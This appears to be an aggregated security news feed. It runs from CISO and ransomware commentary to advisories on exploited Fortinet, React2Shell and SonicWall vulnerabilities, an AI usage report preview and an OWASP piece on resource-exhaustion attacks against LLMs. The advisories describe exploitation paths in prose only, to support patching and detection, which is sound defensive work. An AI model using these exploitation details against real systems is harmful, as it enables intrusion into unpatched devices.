CISOs are often blamed after ransomware attacks, yet most breaches stem from organizational gaps, budget tradeoffs, and staffing shortages. This analysis explores why known risks remain unfixed and how security leaders can break the cycle.
The post How CISOs Can Beat the Ransomware Blame Game appeared first on Security Boulevard.
Ransomware has become a systemic risk to healthcare, where downtime equals patient harm. From Change Healthcare to Ascension, this analysis explains why hospitals are targeted, what HIPAA really requires, and how resilience—not checklists—must drive security strategy.
The post Hospital Ransomware Really is The Pitt appeared first on Security Boulevard.
2026 marks a critical turning point for cybersecurity leaders as AI-driven threats, data sovereignty mandates, and hybrid infrastructure risks reshape the CISO agenda. Discover the strategic priorities that will define tomorrow’s security posture.
The post 2026 Cyber Predictions: Accelerating AI, Data Sovereignty, and Architecture Rationalization appeared first on Security Boulevard.
Introduction Security has become a primary focus in today’s world, which is dominated by computers and technology. Businesses are always on a quest to find better ways how secure their information and messages. Another important component in the field of ‘cyber security’ is the understanding and management of certification. These are generally in the formRead More
The post Private Certificate Authority 101: From Setup to Management appeared first on EncryptedFence by Certera - Web & Cyber Security Blog.
The post Private Certificate Authority 101: From Setup to Management appeared first on Security Boulevard.
Source: https://www.justice.gov/[/caption]
“The United States Attorney’s Office for the Eastern District of Michigan announced today a coordinated action with international partners and the Michigan State Police to disrupt and take down the online infrastructure used to operate E-Note, a cryptocurrency exchange that allegedly facilitated money laundering by transnational cyber-criminal organizations,” the Justice Department said.
Since the end of the year is quickly approaching, it is undoubtedly a good time to look back at what the past twelve months have brought to us… And given that the entire cyber security profession is about protecting various systems from “bad things” (and we’ve all correspondingly seen more than our share of the “bad”), I thought that it might be pleasant to look at a few positive background trends that have accompanied us throughout the year, without us necessarily noticing…
It should be mentioned that all the following charts are based on data gathered from Shodan using my TriOp tool, which means that they are certainly not exact. Nevertheless, the data is undoubtedly good enough to show us the general trends.
The first positive trend that deserves a mention is the overall decrease in the number of industrial control systems accessible from the global internet. Although, based on Shodan data, there still appear to be more than 100 thousand public IP addresses that expose a system that may be classified as ICS on one or more ports, the number has fallen by more than 10% since the beginning of the year…
Two other positive trends worth mentioning are related to the support of SSLv2 and SSLv3 on port 443.
While, at the beginning of the year, there were almost 2 million web servers that supported SSLv3, at the time of writing there seem to be only a little more than 1 million of them still left on the public internet.
The situation has similarly improved in terms of public IP addresses exposing web servers that still support SSLv2. In January, there were more than 320 thousand such servers, while now only about 145 thousand of them seem to remain in December (unsurprisingly, a significant percentage of these servers seem to be located in Kazakhstan, which is something we’ve discussed previously[1]).
Although, as cyber security professionals, we have to – by necessity – focus mostly on unpleasant trends (such as those related to rising numbers of zero-day vulnerabilities discovered each year, or the continuously increasing impacts of attacks), it is good to notice from time to time that "in the background", some things are getting better... Even if the improvements are only small, they do still count in the long run.
-----------
Jan Kopriva
LinkedIn
Nettles Consulting
Source: French Interior Ministry[/caption]
A recently disclosed pair of vulnerabilities affecting Fortinet devices—CVE-2025-59718 and CVE-2025-59719—are drawing urgent attention after confirmation of their active exploitation in the wild. The vulnerabilities carry a critical CVSSv3 score and allow an unauthenticated remote attacker to bypass authentication using a crafted SAML message, ultimately gaining administrative access to the device. Current information indicates that the two CVEs have the same root cause and are differentiated by the products affected: CVE-2025-59719 specifically affects FortiWeb, while CVE-2025-59718 affects FortiOS, FortiProxy, and FortiSwitchManager.
While the vulnerable FortiCloud SSO feature is disabled by default in factory settings, it is automatically enabled when a device is registered to FortiCare via the GUI, unless an administrator explicitly opts out. This behavior significantly increases the likelihood of exposure across registered deployments. Arctic Wolf has confirmed active exploitation and CVE-2025-59718 was added to CISA’s Known Exploited Vulnerabilities (KEV) catalog on December 16.
Observed attacks show threat actors authenticating as the admin user and immediately downloading the system configuration file, which often contains hashed credentials. As a result, any organization with indicators of compromise must assume credential exposure and respond accordingly. A vendor patch is available, and organizations can also take immediate defensive action by disabling FortiCloud SSO administrative login while remediation efforts are underway.
As of December 17, 2025, Rapid7 has observed CVE-2025-59718 exploitation attempts being performed against honeypots within its network. Furthermore, a proof-of-concept exploit that resembles the observed honeypot requests has been posted to GitHub. Rapid7 is in the process of validating these exploits against the confirmed vulnerable targets.
On December 9th, 2025, Fortinet published an advisory that outlines remediation steps for CVE-2025-59718 and CVE-2025-59719. According to Fortinet, the following versions are affected, and the fixed versions for each main release branch are also listed.
Fortinet’s advisory states that CVE-2025-59718 affects the following products and versions:
FortiOS
7.6 branch: versions 7.6.0 through 7.6.3 are affected, upgrade to 7.6.4 or above.
7.4 branch: versions 7.4.0 through 7.4.8 are affected, upgrade to 7.4.9 or above.
7.2 branch: versions 7.2.0 through 7.2.11 are affected, upgrade to 7.2.12 or above.
7.0 branch: versions 7.0.0 through 7.0.17 are affected, upgrade to 7.0.18 or above.
FortiProxy
7.6 branch: versions 7.6.0 through 7.6.3 are affected, upgrade to 7.6.4 or above.
7.4 branch: versions 7.4.0 through 7.4.10 are affected, upgrade to 7.4.11 or above.
7.2 branch: versions 7.2.0 through 7.2.14 are affected, upgrade to 7.2.15 or above.
7.0 branch: versions 7.0.0 through 7.0.21 are affected, upgrade to 7.0.22 or above.
FortiSwitchManager
7.2 branch: versions 7.2.0 through 7.2.6 are affected, upgrade to 7.2.7 or above.
7.0 branch: versions 7.0.0 through 7.0.5 are affected, upgrade to 7.0.6 or above.
Fortinet’s advisory states that CVE-2025-59719 affects the following product and versions:
FortiWeb
8.0 branch: version 8.0.0 is affected, upgrade to 8.0.1 or above.
7.6 branch: versions 7.6.0 through 7.6.4 are affected, upgrade to 7.6.5 or above.
7.4 branch: versions 7.4.0 through 7.4.9 are affected, upgrade to 7.4.10 or above.
For the latest mitigation guidance, please refer to the Fortinet security advisory.
Exposure Command, InsightVM, and Nexpose customers can assess their exposure to CVE-2025-59718 and CVE-2025-59719 with authenticated vulnerability checks available in the December 17 content release.
December 17, 2025: Initial publication.
December 17, 2025: Coverage updated.
Following disclosure of the React2Shell vulnerability (CVE-2025-55182), a maximum-severity Remote Code Execution (RCE) in React Server Components (RSC) a.k.a. the Flight protocol, security teams are assessing exposure and validating fixes. React and ecosystem vendors have released patches; exploitation in the wild has been reported, so rapid validation matters.
React2Shell is an unauthenticated RCE flaw caused by insecure Flight payload deserialization in server-side React/RSC implementations (including popular frameworks like Next.js). It carries a CVSS 10.0 rating and affects React versions 19.0.0, 19.1.0, 19.1.1, and 19.2.0 as well as Next.js versions 15.0.0-15.1.6 and 16.0.0-16.0.6 prior to recent patches. You can read more about it in this detailed CVE overview blog post.
In this detailed writeup, we will share how our customers can specifically test for React2Shell with Rapid7’s Application Security solution.
With our dynamic application security testing (DAST) solution, customers can assess the risk of their applications. Rapid7 allows you to configure various attacks of your applications to identify response behaviors that make your applications more vulnerable to attacks. These attacks are run during scans that you can customize based on your needs. In this case, we’ve extended our RCE attack module to include a check for React2Shell.
What does this mean? Customers can now run an Attack Injection using the RCE, which includes an attack type for React2Shell. Our React2Shell vulnerability detection will simulate an attacker on your website. This is a benign attack which will not execute any code and only shows that RCE is possible. Rapid7 will validate the exploitability of the application and the associated risk.
You can scan for this new RCE attack using either the new Arbitrary Code Execution attack template we have created or by creating your own custom attack template and selecting the RCE module. We have added some steps for you to follow below:
Choose the Arbitrary Code Execution attack template in your scan configuration:
⠀
Choosing the scan configuration you made earlier, scan against your selected app(s).
Now that you have run your scan, you can review the results to see if your app(s) have any findings. These will include remediation advice that you can follow.
⠀
You can now manage your attack templates by navigating to the appropriate section and selecting the Arbitrary Code Execution attack template as below.
⠀
Patch immediately, upgrade React to 19.0.1, 19.1.2, or 19.2.1 (or newer). For Next.js, the recommended action is to update to the following respective patched versions: 15.2.6, 15.3.6, 15.4.8, 15.5.7, 16.0.7, or later*. You should seek to remediate this vulnerability on an urgent basis, outside of normal patch cycles and consider temporary web application firewall (WAF) rules for Flight endpoints while patching. If you’re looking to validate any fixes you have implemented, feel free to run a validation scan with our application security tool to verify the fixes are correct.
* For Next.js, the recommendation from Nextjs is to update to the following respective patched versions: 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, 16.0.7, or later. However, we have identified that versions 15.0.5 and 15.1.9 have a different critical vulnerability and would recommend against using them.
Staying ahead of what’s exposed, automatically.
The modern enterprise doesn’t stand still. New domains are registered, acquisitions bring inherited infrastructure, cloud workloads spin up and down daily, and somewhere in the middle of it all, your visible footprint on the internet external attack surface keeps expanding.
For CISOs, this constant motion makes one CTEM step particularly difficult: discovery. You can’t validate what you can’t see and manual inventory updates can’t keep up with the pace of digital change.
That’s why Rapid7 is introducing dynamic EASM discovery for Surface Command, a new capability that automatically identifies and tracks every part of your external attack surface. By continuously ingesting known domain and IP information from your environment and related management tools, Surface Command ensures your visibility is always accurate, always current, and always ready for validation.
Figure 1: Dynamic Seeds feature in the Rapid7 Command Platform
Traditional External Attack Surface Management (EASM) tools rely on static “seed lists”, known IPs, domains, or networks used to start discovery scans. But as organizations evolve, those seeds quickly become stale, leaving blind spots that attackers can exploit.
Dynamic EASM discovery replaces static inputs with live intelligence. Surface Command, Rapid7’s attack surface management (ASM) solution, now automatically gathers seed data from across your ecosystem, including DNS records, network services, and asset repositories and feeds it directly into the Rapid7 Command Platform. Asset, vulnerability, automation, control, threat, and enrichment data are ingested into our Command Platform through Connectors.
The result: a continuously updated, validated view of your internet-facing footprint.
No spreadsheets. No manual uploads. No surprises.
Continuous threat exposure management (CTEM) is the discipline of constantly discovering, prioritizing, validating, and mobilizing against risk. Most organizations excel at discovery and prioritization but validation often lags behind.
Discovery is where confidence becomes measurable:
Dynamic EASM discovery strengthens step 2, discovery by ensuring your exposure data reflects the real, live environment. Every time a cloud resource changes or a new asset appears, Surface Command automatically revalidates what’s known versus what’s newly exposed.
That means your CTEM cycle is never out of sync with reality, and your reports to leadership reflect verified reductions in risk, not assumptions.
Dynamic EASM discovery doesn’t just simplify inventory management, it accelerates progress across the CTEM lifecycle:
For security leaders, this translates to clear, measurable progress: a smaller attack surface, shorter exposure windows, and data that executives can trust.
External visibility is only useful if it’s reliable. With dynamic EASM discovery, Surface Command provides a real-time, attacker’s-eye view of your organization’s public-facing assets, domains, subdomains, IPs, and network services; all validated against live data.
This level of automation gives CISOs three distinct advantages:
Validation becomes continuous, evidence-based, and defensible.
Boards don’t want more alerts, they want proof that investments in security are paying off. Dynamic EASM Discovery helps CISOs demonstrate that progress with concrete, validated metrics:
When the question comes, “are we actually reducing risk?”
Surface Command gives you evidence, not estimates.
Dynamic EASM discovery is built into Rapid7’s Command Platform, eliminating the manual effort that once slowed exposure management. Security and IT teams can focus on reducing risk instead of reconciling data sources, while automation keeps inventories and dashboards perpetually up to date.
In practice, that means:
What used to take hours of manual input now happens automatically, at the speed your business evolves.
Attack surface expansion doesn't stop, and neither should your visibility. With dynamic EASM discovery, Rapid7 ensures that the foundation of your CTEM program, discovery, is always grounded in current, accurate data.
It’s continuous assurance for a world that doesn’t stand still. This is in early access now, and generally available in January, 2026.
See how Dynamic EASM Discovery keeps your external visibility live, validated, and ready for action.
Contact your Rapid7 account team or click here to initiate a no commitment trial today.
Try the new dynamic EASM discovery self-guided product tour
As 2025 comes to a close, artificial intelligence (AI) is a clear throughline across enterprise organizations. Many teams are still in the thick of implementing AI or deciding where and how to use it. Keeping up with usage trends and developments on top of that has become increasingly difficult. AI innovation moves fast and LLMs permeate core workflows across research, communication, development, finance, and operations. Security teams are left chasing risks that shift as quickly as the technology.Zscaler ThreatLabz publishes annual research to help enterprises make sense of the fast-evolving AI foundation model landscape. The upcoming ThreatLabz 2026 AI Security Report will provide visibility into organizational AI usage, from the most-used LLMs and applications to regional and industry-specific patterns and risk mitigation strategies. What follows is a sneak peek into some of this year’s preliminary findings through November 2025. The full 2026 AI Security Report, including December 2025 data and deeper analysis, will be available next month. The data and categories shared in this preview reflect the current state of our research findings and are subject to be updated, added to, excluded, or recategorized in the final report.OpenAI dominates enterprise AI traffic in 2025Figure 1. Top LLM vendors by AI/ML transactions (January 2025–November 2025) OpenAI has held the top position among LLM vendors by an overwhelming margin to date in 2025, accounting for 113.6 billion AI/ML transactions, more than three times the transaction volume of its nearest competitor. GPT-5’s August release set a new performance bar across coding assistance, multimodal reasoning, and other capabilities that integrate into business functions. Just as importantly, OpenAI’s expanded Enterprise API portfolio (including stricter privacy controls and model-isolation options) has solidified OpenAI and GPT-powered capabilities as the “default engine” behind countless enterprise AI workflows. Everything from internal copilots to automated research agents now lean heavily on OpenAI’s stack, keeping it far ahead of the rest of the field.OpenAI’s dominance carries important implications for enterprise leaders, which will be explored in greater detail in the upcoming report:How vendor concentration impacts risk: The heavy reliance on OpenAI underscores growing vendor dependency within many organizations; transaction flow data shows that businesses may be relying on OpenAI even more than they realize.Hidden AI uses across workflows: Transaction categories reveal that LLM interaction is no longer limited to visible tools like ChatGPT. AI underpins everything from automated meeting summaries in productivity suites to behind-the-scenes copilots in common SaaS platforms.Codeium (Windsurf as of April 2025) emerged as the second-largest source of enterprise LLM traffic in 2025, with strong adoption of its proprietary coding-focused models. As enterprises increased their use of AI in software development, Codeium’s models are a go-to option for engineering teams, especially in secure development environments.Perplexity rose to the #3 position. Not only an AI-powered search assistant, Perplexity is also an LLM provider offering proprietary large language models that power its answer engine.Anthropic and Google currently round out the top five LLM vendors by transaction volume. Despite generating only a fraction of OpenAI’s activity, both LLMs played meaningful and differentiated roles in the 2025 enterprise AI landscape. Anthropic saw expanding adoption of its Claude 3 and 3.5 models over the past year, along with a July launch of Claude for Financial Services that further strengthened its position in compliance-heavy environments. Google also accelerated enterprise adoption through major enhancements to Gemini, including improved multimodal capabilities and security and access controls tailored for corporate deployments. It will be interesting to see how the adoption changes as we head into 2026.Engineering leads AI usage among core enterprise departmentsThreatLabz also mapped AI/ML traffic to a select set of common enterprise departments. Only applications with at least one million transactions and primarily associated with a specific department were included in the following analysis, and percentages reflect usage relative to these departments only, not total enterprise traffic.Distribution of AI usage across these core departments offers a directional view into enterprise AI adoption:Suggesting where AI has become operational, not just experimental.Indicating which business functions generate the highest volume of unique AI activity, signaling deeper integration into day-to-day operations.Highlighting potential areas of risk, as sensitive functions in R&D, engineering, legal, and finance increasingly depend on AI applications and LLM-driven workflows.Within this scoped view, Engineering accounts for 47.6% of transactions to date, making it the largest driver of enterprise AI activity among the departments analyzed by ThreatLabz. IT follows at 33.1%. Usage among these teams adds up quickly; everyday tasks like coding, testing, configuration, and system analysis lend themselves to repeated AI interactions. Engineering teams in particular integrate AI into daily build cycles, where even small efficiency gains compound quickly across releases. Marketing ranks third in AI usage among core enterprise departments, with Customer Support, HR, Legal, Sales, and Finance collectively accounting for the remaining share. Regardless of the variance, AI now clearly spans the entire enterprise, driving new efficiencies in workflows and productivity—even as it introduces new security requirements. High-volume applications demand the highest security attention2025 has been another year marked by the push-and-pull between rapid AI adoption and the need for more deliberate oversight. Accordingly, the rise in AI transactions has not translated neatly into unrestricted use. In many case, the applications responsible for the growth in LLM activity are also the ones triggering the most blocks by enterprises.This trend has played out across many categories of applications, including popular general AI tools like Grammarly and more specialized function-specific tools like GitHub Copilot. These are just two examples of applications appearing at the top of both transaction volume and block lists. Their proximity to sensitive content (whether business communications or proprietary source code) make them natural flashpoints for security controls.The upcoming ThreatLabz 2026 AI Security Report will feature further analysis on blocking trends.AI threats and vulnerabilities evolve alongside enterprise adoptionAs enterprises expand their use of GenAI applications and security teams block more AI traffic, the threat landscape is moving just as quickly. ThreatLabz continues to analyze how AI-driven threats are scaling alongside enterprise adoption. In addition to amplifying familiar techniques like social engineering and malvertising, attackers are beginning to operationalize agentic AI and autonomous attack workflows and exploit weaknesses in the AI model supply chain itself. The upcoming report will cover AI threats and risks in more detail, along with actionable guidance for enterprise leaders on how to effectively secure usage and stop AI-powered threats.Coming soon: ThreatLabz 2026 AI Security Report The findings shared here are just the start. The full ThreatLabz 2026 AI Security Report will be released in late January and offer comprehensive analysis of the enterprise AI landscape, including: AI data transfer trendsDLP violations and sensitive data exposureIndustry and regional adoption patternsBest practices for securing AIAI is now a fundamental aspect of how almost every business operates. ThreatLabz remains committed to helping enterprises innovate securely and stay ahead of emerging risks. Join us next month for the full report release and get the insights needed to secure your AI-driven future.
The post What’s Powering Enterprise AI in 2025: ThreatLabz Report Sneak Peek appeared first on Security Boulevard.
Dec 17, 2025 - Lina Romero - The OWASP Top 10 for LLMs was released this year to help security teams understand and mitigate the rising risks to LLMs. In previous blogs, we’ve explored risks 1-9, and today we’ll finally be deep diving LLM10: Unbounded Consumption. Unbounded Consumption occurs when LLMs allow users to conduct excessive prompt submissions, or submission of overly complex, large or verbose prompts, leading to resource depletion, potential Denial of Service (DoS) attacks, and more. An inference is the process that an AI model uses to generate an output based on its training. When a user feeds an LLM a prompt, the LLM generates inferences in response. Follow-up questions trigger more inferences, because each additional interaction builds upon all the inferences, and potentially also previously submitted prompts, required for the previous interactions. Rate limiting controls the amount of requests an LLM can receive. When an LLM does not have the adequate rate limiting, it can effectively become overwhelmed with inferences and either begin to malfunction, or reach a cap on utilization and stop responding. A part of the LLM application could become unavailable. In AI security, we often refer to the “CIA,” which stands for Confidentiality, Integrity and Availability. Unbounded Consumption can cause an LLM to fail at the “Availability” part of this equation, which in turn can affect the LLM’s Confidentiality and Integrity. Another way in which Unbounded Consumption can negatively impact an LLM is through Denial of Wallet (DOW). Effectively, attackers will hit the LLM with request upon request, which can run up the bill if rate limiting is not in place. Eventually, these attacks can cause the LLM to reject requests due to the high volume of abnormal activity, which will stop it from working entirely.
Mitigation Methods
Some ways to reduce the risk of Unbounded Consumption include: Input Validation- ensure that inputs do not exceed reasonable size limits
Rate Limiting- apply user quotas and limits to restrict requests per user
Limit Exposure of Logits and Logprobs- obfuscate the exposure of API responses, provide only necessary information to users
Resource Allocation Management- monitor resource utilization to prevent any single user from exceeding a reasonable limit
Timeouts and Throttling- set time limits and throttle processing for resource intense operations to prevent prolonged resource consumption
Sandbox Techniques- restrict the LLMs access to network resources to limit what information it can expose
Monitoring and Logging- get alerts and continually monitor usage for unusual patterns Unbounded Consumption poses a critical risk to LLMs as it can cause DoS or DoW, however, with proper security measures and training, teams can minimize the risk of Unbounded Consumption in their AI applications. For more information on the rest of the OWASP Top 10 for LLMs, head over to the LLM series on our blog page. And for general information on how to take charge of your own AI security posture, schedule a demo today!
The post LLM10: Unbounded Consumption – FireTail Blog appeared first on Security Boulevard.
Explore homomorphic encryption for privacy-preserving analytics in Model Context Protocol (MCP) deployments, addressing post-quantum security challenges. Learn how to secure your AI infrastructure with Gopher Security.
The post Homomorphic Encryption for Privacy-Preserving MCP Analytics in a Post-Quantum World appeared first on Security Boulevard.
A zero-day vulnerability in SonicWall’s Secure Mobile Access (SMA) 1000 was reportedly exploited in the wild in a chained attack with CVE-2025-23006.
On December 17, SonicWall published a security advisory (SNWLID-2025-0019) for a newly disclosed vulnerability in its Secure Mobile Access (SMA) 1000 product, a remote access solution.
| CVE | Description | CVSSv3 |
|---|---|---|
| CVE-2025-40602 | SonicWall SMA 1000 Privilege Escalation Vulnerability | 6.6 |
CVE-2025-40602 is a local privilege escalation vulnerability in the appliance management console (AMC) of the SonicWall SMA 1000 appliance. An authenticated, remote attacker could exploit this vulnerability to escalate privileges on an affected device. While on its own, this flaw would require authentication in order to exploit, the advisory from SonicWall states that CVE-2025-40602 has been exploited in a chained attack with CVE-2025-23006, a deserialization of untrusted data vulnerability patched in January. The combination of these two vulnerabilities would allow an unauthenticated attacker to execute arbitrary code with root privileges.
According to SonicWall, “SonicWall Firewall products are not affected by this vulnerability.”
Historical exploitation of SonicWall vulnerabilities
SonicWall products have been a frequent target for attackers over the years. Specifically, the SMA product line has been targeted in the past by ransomware groups, as well as being featured in the Top Routinely Exploited Vulnerabilities list co-authored by multiple United States and International Agencies.
Earlier this year, an increase in ransomware activity tied to SonicWall Gen 7 Firewalls was observed. While initially it was believed that a new zero-day may have been the root cause, SonicWall later provided a statement noting that exploitation activity was in relation to CVE-2024-40766, an improper access control vulnerability which had been observed to have been exploited in the wild. More information on this can be found on our blog.
Given the past exploitation of SonicWall devices, we put together the following list of known SMA vulnerabilities that have been exploited in the wild:
| CVE | Description | Tenable Blog Links | Year |
|---|---|---|---|
| CVE-2019-7481 | SonicWall SMA100 SQL Injection Vulnerability | 1 | 2019 |
| CVE-2019-7483 | SonicWall SMA100 Directory Traversal Vulnerability | - | 2019 |
| CVE-2021-20016 | SonicWall SSLVPN SMA100 SQL Injection Vulnerability | 1, 2, 3, 4, 5 | 2021 |
| CVE-2021-20038 | SonicWall SMA100 Stack-based Buffer Overflow Vulnerability | 1, 2, 3 | 2021 |
| CVE-2025-23006 | SonicWall SMA 1000 Deserialization of Untrusted Data Vulnerability | 1 | 2025 |
| CVE-2024-40766 | SonicWall SonicOS Improper Access Control Vulnerability | 1 | 2025 |
At the time this blog was published, no proof-of-concept (PoC) code had been published for CVE-2025-40602. If and when a public PoC exploit becomes available for CVE-2025-40602, we anticipate a variety of attackers will attempt to leverage this flaw as part of their attacks.
SonicWall has released patches to address this vulnerability as outlined in the table below:
| Affected Version | Fixed Version |
|---|---|
| 12.4.3-03093 and earlier | 12.4.3-03245 |
| 12.5.0-02002 and earlier | 12.5.0-02283 |
The advisory also provides a workaround to reduce potential impact. This involves restricting access to the AMC to trusted sources. We recommend reviewing the advisory for the most up to date information on patches and workaround steps.
A list of Tenable plugins for this vulnerability can be found on the individual CVE page for CVE-2025-40602 as they’re released. This link will display all available plugins for this vulnerability, including upcoming plugins in our Plugins Pipeline. In addition, product coverage for CVE-2025-23006 can be found here.
Tenable Attack Surface Management customers are able to identify these assets using a filtered search for SonicWall devices:
Join Tenable's Research Special Operations (RSO) Team on Tenable Connect and engage with us in the Threat Roundtable group for further discussions on the latest cyber threats.
Learn more about Tenable One, the Exposure Management Platform for the modern attack surface.
The post CVE-2025-40602: SonicWall Secure Mobile Access (SMA) 1000 Zero-Day Exploited appeared first on Security Boulevard.
Session 6B: Confidential Computing 1
Authors, Creators & Presenters: Caihua Li (Yale University), Seung-seob Lee (Yale University), Lin Zhong (Yale University)
PAPER
Blindfold: Confidential Memory Management by Untrusted Operating System
Confidential Computing (CC) has received increasing attention in recent years as a mechanism to protect user data from untrusted operating systems (OSes). Existing CC solutions hide confidential memory from the OS and/or encrypt it to achieve confidentiality. In doing so, they render OS memory optimization unusable or complicate the trusted computing base (TCB) required for optimization. This paper presents our results toward overcoming these limitations, synthesized in a CC design named Blindfold. Like many other CC solutions, Blindfold relies on a small trusted software component running at a higher privilege level than the kernel, called Guardian. It features three techniques that can enhance existing CC solutions. First, instead of nesting page tables, Blindfold's Guardian mediates how the OS accesses memory and handles exceptions by switching page and interrupt tables. Second, Blindfold employs a lightweight capability system to regulate the OS's semantic access to user memory, unifying case-by-case approaches in previous work. Finally, Blindfold provides carefully designed secure ABI for confidential memory management without encryption. We report an implementation of Blindfold that works on ARMv8-A/Linux. Using Blindfold's prototype, we are able to evaluate the cost of enabling confidential memory management by the untrusted Linux kernel. We show Blindfold has a smaller runtime TCB than related systems and enjoys competitive performance. More importantly, we show that the Linux kernel, including all of its memory optimizations except memory compression, can function properly for confidential memory. This requires only about 400 lines of kernel modifications.
ABOUT NDSS
The Network and Distributed System Security Symposium (NDSS) fosters information exchange among researchers and practitioners of network and distributed system security. The target audience includes those interested in practical aspects of network and distributed system security, with a focus on actual system design and implementation. A major goal is to encourage and enable the Internet community to apply, deploy, and advance the state of available security technologies.
Our thanks to the Network and Distributed System Security (NDSS) Symposium for publishing their Creators, Authors and Presenter’s superb NDSS Symposium 2025 Conference content on the Organizations' YouTube Channel.
The post NDSS 2025 – Blindfold: Confidential Memory Management By Untrusted Operating System appeared first on Security Boulevard.
DataDome details how it aligns with CISA’s Secure by Design Pledge, outlining strong authentication, secure defaults, supply chain security, logging, and transparency.
The post DataDome’s Commitment to the CISA Secure by Design Pledge appeared first on Security Boulevard.
via the comic artistry and dry wit of Randall Munroe, creator of XKCD
The post Randall Munroe’s XKCD ‘Geologic Core Sample’ appeared first on Security Boulevard.
Session 6B: Confidential Computing 1
Authors, Creators & Presenters: Caihua Li (Yale University), Seung-seob Lee (Yale University), Lin Zhong (Yale University)
PAPER
Blindfold: Confidential Memory Management by Untrusted Operating System
Confidential Computing (CC) has received increasing attention in recent years as a mechanism to protect user data from untrusted operating systems (OSes). Existing CC solutions hide confidential memory from the OS and/or encrypt it to achieve confidentiality. In doing so, they render OS memory optimization unusable or complicate the trusted computing base (TCB) required for optimization. This paper presents our results toward overcoming these limitations, synthesized in a CC design named Blindfold. Like many other CC solutions, Blindfold relies on a small trusted software component running at a higher privilege level than the kernel, called Guardian. It features three techniques that can enhance existing CC solutions. First, instead of nesting page tables, Blindfold's Guardian mediates how the OS accesses memory and handles exceptions by switching page and interrupt tables. Second, Blindfold employs a lightweight capability system to regulate the OS's semantic access to user memory, unifying case-by-case approaches in previous work. Finally, Blindfold provides carefully designed secure ABI for confidential memory management without encryption. We report an implementation of Blindfold that works on ARMv8-A/Linux. Using Blindfold's prototype, we are able to evaluate the cost of enabling confidential memory management by the untrusted Linux kernel. We show Blindfold has a smaller runtime TCB than related systems and enjoys competitive performance. More importantly, we show that the Linux kernel, including all of its memory optimizations except memory compression, can function properly for confidential memory. This requires only about 400 lines of kernel modifications.
ABOUT NDSS
The Network and Distributed System Security Symposium (NDSS) fosters information exchange among researchers and practitioners of network and distributed system security. The target audience includes those interested in practical aspects of network and distributed system security, with a focus on actual system design and implementation. A major goal is to encourage and enable the Internet community to apply, deploy, and advance the state of available security technologies.
Our thanks to the Network and Distributed System Security (NDSS) Symposium for publishing their Creators, Authors and Presenter’s superb NDSS Symposium 2025 Conference content on the Organizations' YouTube Channel.
The post NDSS 2025 – Blindfold: Confidential Memory Management By Untrusted Operating System appeared first on Security Boulevard.
And why most of the arguments do not hold up under scrutiny Over the past 18 to 24 months, venture capital has flowed into a fresh wave of SIEM challengers including Vega (which raised $65M in seed and Series A at a ~$400M valuation), Perpetual Systems, RunReveal, Iceguard, Sekoia, Cybersift, Ziggiz, and Abstract Security, all […]
The post Why Venture Capital Is Betting Against Traditional SIEMs first appeared on Future of Tech and Security: Strategy & Innovation with Raffy.
The post Why Venture Capital Is Betting Against Traditional SIEMs appeared first on Security Boulevard.
Learn why running AI agents on every SOC alert can spike cloud costs. See how bounded workflows make agentic triage reliable and predictable.
The post The Hidden Cost of “AI on Every Alert” (And How to Fix It) appeared first on D3 Security.
The post The Hidden Cost of “AI on Every Alert” (And How to Fix It) appeared first on Security Boulevard.
28 apps secured. 37 orgs monitored. 14,600 issues resolved. See how a global airline strengthened SaaS security with AppOmni.
The post Inside the Global Airline that Eliminated 14,600 SaaS Security Issues with AppOmni appeared first on AppOmni.
The post Inside the Global Airline that Eliminated 14,600 SaaS Security Issues with AppOmni appeared first on Security Boulevard.
For years, artificial intelligence sat at the edges of cybersecurity conversations. It appeared in product roadmaps, marketing claims, and isolated detection use cases, but rarely altered the fundamental dynamics between attackers and defenders. That changed in 2025. This year marked a clear inflection point where AI became operational on both sides of the threat landscape.
The post Cybersecurity Crossed the AI Rubicon: Why 2025 Marked a Point of No Return appeared first on Seceon Inc.
The post Cybersecurity Crossed the AI Rubicon: Why 2025 Marked a Point of No Return appeared first on Security Boulevard.
A series of actively exploited zero-day vulnerabilities affecting Windows, Google Chrome, and Apple platforms was disclosed in mid-December, according to The Hacker News, reinforcing a persistent reality for defenders: attackers no longer wait for exposure windows to close. They exploit them immediately. Unlike large-scale volumetric attacks that announce themselves through disruption, zero-day exploitation operates quietly.
The post When Zero-Days Go Active: What Ongoing Windows, Chrome, and Apple Exploits Reveal About Modern Intrusion Risk appeared first on Seceon Inc.
The post When Zero-Days Go Active: What Ongoing Windows, Chrome, and Apple Exploits Reveal About Modern Intrusion Risk appeared first on Security Boulevard.
The Monetary Authority of Singapore’s cloud advisory, part of its 2021 Technology Risk Management Guidelines, advises financial institutions to move beyond siloed monitoring to adopt a continuous, enterprise-wide approach. These firms must undergo annual audits. Here’s how Tenable can help.
Complying with government cybersecurity regulations can lull organizations into a false sense of security and lead to an over-reliance on point-in-time assessments conducted at irregular intervals. While such compliance efforts are essential to pass audits, they may do very little to actually reduce an organization’s risk. On the other hand, government efforts like the robust framework provided by the Monetary Authority of Singapore (MAS), Singapore’s central bank and integrated financial regulator, offer valuable guidance for organizations worldwide to consider as they look to reduce cyber risk.
The MAS framework is designed to safeguard the integrity of the country's financial systems. The framework is anchored by the MAS Technology Risk Management (TRM) Guidelines, published in January 2021, which covers a wide spectrum of risk management concerns, including IT governance, cyber resilience, incident response, and third-party risk. The TRM guidelines were supplemented by the June 2021 Advisory On Addressing The Technology And Cyber Security Risks Associated With Public Cloud Adoption.
The cloud advisory highlights key risks and control measures that Singapore’s financial institutions should consider before adopting public cloud services, including:
The advisory recommends avoiding a siloed approach when performing security monitoring of on-premises apps or infrastructure and public cloud workloads. Instead, it advises financial institutions to “feed cyber-related information on public cloud workloads into their respective enterprise-wide IT security monitoring services to facilitate continuous monitoring and analysis of cyber events.”
While the MAS TRM guidelines and cloud advisory do not specifically state penalties for compliance failures, they are legally binding. They apply to all financial institutions operating under the authority’s regulation in Singapore, including banks, insurers, fintech firms, payment service providers, and venture capital managers. A financial institution in Singapore that leverages the services of a firm based outside the country must ensure that its service providers also meet the TRM requirements. MAS also factors adherence to the framework into its overall risk assessment of an organization; failure to comply can damage an organization's standing and reputation.
In short, the scope of accountability to the MAS TRM guidelines and cloud advisory is broad.
We evaluated how the Tenable One Exposure Management Platform with Tenable Cloud Security can assist organizations in achieving and maintaining compliance with the MAS cloud advisory. Read on to understand two of the cloud advisory’s key focus areas and how to address them effectively with Tenable One — preventing dangerous attack path vectors from compromising sensitive cloud assets.
